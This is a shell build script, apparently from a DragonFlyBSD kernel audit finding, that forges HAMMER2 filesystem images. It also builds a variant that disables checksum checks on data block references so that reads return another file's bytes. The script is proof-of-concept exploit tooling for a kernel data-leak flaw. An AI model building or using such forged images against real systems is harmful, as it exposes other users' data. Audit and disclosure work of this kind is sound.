DragonFlyBSD Kernel Audit
DF-2652 / build.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-2652 build: forge the mismark image (and the CHECK_NONE bleed variant).
set -e
cd "$(dirname "$0")"
[ -f base2651.img ] || (gunzip -kf base2651.img.gz 2>/dev/null || cp ../DF-2651/base2651.img.gz . && gunzip -kf base2651.img.gz)
python3 forge_2652.py base2651.img forge2652.img
# bleed variant: fileA's DATA brefs get CHECK_NONE so reads of the
# overwritten chunk return foreign bytes instead of failing the CRC.
python3 - <<'EOF'
import struct, sys
sys.path.insert(0, '.')
from h2common import recompute_volhdr_crcs
img = bytearray(open('forge2652.img','rb').read())
n = 0
for e in range(128):
    o = 0x2000000 + e*128          # fileA indirect block
    if img[o] == 3:
        img[o+1] = 0x00             # CHECK_NONE
        n += 1
assert n == 24, n
recompute_volhdr_crcs(img)
open('forge2652b.img','wb').write(img)
print("bleed variant: forge2652b.img (CHECK_NONE on %d DATA brefs)" % n)
EOF
echo "built forge2652.img forge2652b.img"